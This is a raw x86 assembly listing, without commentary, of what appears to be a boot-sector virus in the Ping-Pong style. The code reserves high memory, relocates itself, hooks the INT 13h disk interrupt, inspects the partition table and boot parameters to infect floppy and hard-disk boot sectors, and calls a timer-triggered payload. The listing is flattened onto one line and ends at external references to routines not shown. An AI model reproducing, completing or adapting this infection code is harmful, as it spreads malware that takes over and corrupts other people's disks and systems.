name boot1_asm .radix 16 start: jmp boot db 'IBM 3.3' dw 200 db 2 dw 1 db 2 dw 70 dw 2D0 db 0FDh dw 2 dw 9 dw 2 dw 0 boot: xor ax,ax mov ss,ax mov sp,7C00 mov ds,ax mov ax,[413] sub ax,2 mov [413],ax mov cl,6 shl ax,cl sub ax,7C0 mov es,ax mov si,7C00 mov di,si mov cx,100 rep movsw db 8E,0C8 ; mov cs,ax push cs pop ds call n_00014A n_00014A: xor ah,ah int 13 and byte ptr [7DF8],80 mov bx,[7DF9] push cs pop ax sub ax,20 mov es,ax call n_00019D mov bx,[7DF9] inc bx mov ax,0FFC0 mov es,ax call n_00019D xor ax,ax mov byte ptr [7DF7],al mov ds,ax mov ax,[4C] mov bx,[4E] mov [4C],7CD0 mov [4E],cs push cs pop ds mov [7D2A],ax mov [7D2C],bx mov dl,byte ptr [7DF8] jmp far ptr f_007C00 mov ax,301 jmp short n_0001A0 n_00019D: mov ax,201 n_0001A0: xchg ax,bx add ax,[7C1C] xor dx,dx div word ptr [7C18] inc dl mov ch,dl xor dx,dx div word ptr [7C1A] mov cl,6 shl ah,cl or ah,ch mov cx,ax xchg ch,cl mov dh,dl mov ax,bx n_0001C3: mov dl,byte ptr [7DF8] mov bx,8000 int 13 jnb n_0001CF pop ax n_0001CF: ret push ds push es push ax push bx push cx push dx push cs pop ds push cs pop es test byte ptr [7DF7],1 jne n_000223 cmp ah,2 jne n_000223 cmp byte ptr [7DF8],dl mov byte ptr [7DF8],dl jne n_000212 xor ah,ah int 1A test dh,7F jne n_000203 test dl,0F0 jne n_000203 push dx call n_0003B3 pop dx n_000203: mov cx,dx sub dx,[7EB0] mov [7EB0],cx sub dx,24 jb n_000223 n_000212: or byte ptr [7DF7],1 push si push di call n_00022E pop di pop si and byte ptr [7DF7],0FE n_000223: pop dx pop cx pop bx pop ax pop es pop ds jmp far ptr f_0C833E n_00022E: mov ax,201 mov dh,0 mov cx,1 call n_0001C3 test byte ptr [7DF8],80 jz n_000263 mov si,81BE mov cx,4 n_000246: cmp byte ptr [si+4],1 je n_000258 cmp byte ptr [si+4],4 je n_000258 add si,10 loop n_000246 ret n_000258: mov dx,[si] mov cx,[si+2] mov ax,201 call n_0001C3 n_000263: mov si,8002 mov di,7C02 mov cx,1C rep movsb cmp [81FC],1357 jne n_00028B cmp byte ptr [81FBh],0 jnb n_00028A mov ax,[81F5] mov [7DF5],ax mov si,[81F9] jmp n_000392 n_00028A: ret n_00028B: cmp [800Bh],200 jne n_00028A cmp byte ptr [800Dh],2 jb n_00028A mov cx,[800E] mov al,[8010] cbw mul word ptr [8016] add cx,ax mov ax,20 mul word ptr [8011] add ax,1FF mov bx,200 div bx add cx,ax mov word ptr [7DF5],cx mov ax,[7C13] sub ax,[7DF5] mov bl,[7C0Dh] xor dx,dx xor bh,bh div bx inc ax mov di,ax and byte ptr [7DF7],0FBh cmp ax,0FF0 jbe n_0002E0 or byte ptr [7DF7],4 n_0002E0: mov si,1 mov bx,[7C0E] dec bx mov [7DF3],bx mov byte ptr [7EB2],0FE jmp short n_000300 db 1,0,0C,0,1,0,48,1,0,57,13 dw 0AA55 n_000300: extrn n_000392:near,n_0003B3:near extrn f_007C00:far,f_0C833E:far